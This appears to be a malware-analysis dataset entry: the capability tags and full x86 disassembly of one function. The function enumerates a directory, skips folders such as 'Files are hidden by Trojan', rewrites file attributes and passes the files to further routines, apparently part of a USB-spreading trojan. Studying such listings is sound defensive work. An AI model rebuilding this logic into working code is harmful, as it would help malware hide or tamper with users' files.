Function at 0x407870
Capabilities:
Enumerate files on windows
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1264
call fcn.0042a310
mov eax, dword [0x465074]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x1264], 0
mov dword [ebp - 0x1260], 1
mov ax, word [0x450bd4]
mov word [ebp - 0x1004], ax
push 0xffe
push 0
lea ecx, [ebp - 0x1002]
push ecx
call fcn.0042d590
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push 0x450c24
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x1254]
push ecx
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x1264], eax
cmp dword [ebp - 0x1264], 0xffffffff
jne 0x407902
xor eax, eax
jmp 0x407cb9
push 0x450c74
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x407c82
push 0x451274
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x407c82
lea edx, [ebp - 0x1228]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x450cc4
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov edx, dword [ebp - 0x1254]
and edx, 0x10
je 0x407c82
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fb85
add esp, 4
cmp eax, 1
jne 0x407ad0
mov ecx, 0x61
mov word [ebp - 0x1258], cx
jmp 0x4079a1
mov dx, word [ebp - 0x1258]
add dx, 1
mov word [ebp - 0x1258], dx
movzx eax, word [ebp - 0x1258]
cmp eax, 0x7a
jg 0x4079fa
mov ecx, 2
imul edx, ecx, 0
movzx eax, word [ebp + edx - 0x1228]
movzx ecx, word [ebp - 0x1258]
cmp eax, ecx
je 0x4079ec
mov edx, 2
imul eax, edx, 0
movzx esi, word [ebp + eax - 0x1228]
movzx ecx, word [ebp - 0x1258]
push ecx
call fcn.0042fac2
add esp, 4
cmp esi, eax
jne 0x4079f8
mov dword [ebp - 0x1260], 0
jmp 0x4079fa
jmp 0x40798f
cmp dword [ebp - 0x1260], 1
jne 0x407a58
mov edx, 0x30
mov word [ebp - 0x125c], dx
jmp 0x407a23
mov ax, word [ebp - 0x125c]
add ax, 1
mov word [ebp - 0x125c], ax
movzx ecx, word [ebp - 0x125c]
cmp ecx, 0x39
jg 0x407a58
mov edx, 2
imul eax, edx, 0
movzx ecx, word [ebp + eax - 0x1228]
movzx edx, word [ebp - 0x125c]
cmp ecx, edx
jne 0x407a56
mov dword [ebp - 0x1260], 0
jmp 0x407a58
jmp 0x407a11
cmp dword [ebp - 0x1260], 1
jne 0x407ac1
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
lea ecx, [ebp - 0x1004]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040e830
add esp, 0xc
jmp 0x407acb
mov dword [ebp - 0x1260], 1
jmp 0x407c82
push 0x451794
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x407baa
push 5
push 0x450d8c
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407baa
push 6
push 0x451844
lea edx, [ebp - 0x1228]
push edx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407baa
push 0xb
push 0x450e54
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407baa
push 0xb
push 0x450ecc
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407baa
push 8
push 0x450e6c
lea edx, [ebp - 0x1228]
push edx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407baa
push 0xd
push 0x450ee4
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407baa
push 0x19
push 0x450f44
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fba0
add esp, 0xc
test eax, eax
jne 0x407bbe
lea edx, [ebp - 0x1004]
push edx
call fcn.00408d60
add esp, 4
jmp 0x407c82
push 5
push str.Drive
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407c24
push 6
push str..Trash
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0042fba0
add esp, 0xc
test eax, eax
je 0x407c24
push str.System_Volume
lea edx, [ebp - 0x1228]
push edx
call fcn.0042fb23
add esp, 8
test eax, eax
je 0x407c24
push 0x1a
push str.Files_are_hidden_by_Trojan
lea eax, [ebp - 0x1228]
push eax
call fcn.0042fba0
add esp, 0xc
test eax, eax
jne 0x407c82
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 2
and esi, eax
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
sub eax, 0x81
and esi, eax
and esi, 0xffe0fe00
push esi
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
lea edx, [ebp - 0x1004]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040e830
add esp, 0xc
lea ecx, [ebp - 0x1254]
push ecx
mov edx, dword [ebp - 0x1264]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x407ca7
cmp dword [0x465f70], 0
je 0x407902
mov eax, dword [ebp - 0x1264]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042a2fe
mov esp, ebp
pop ebp
ret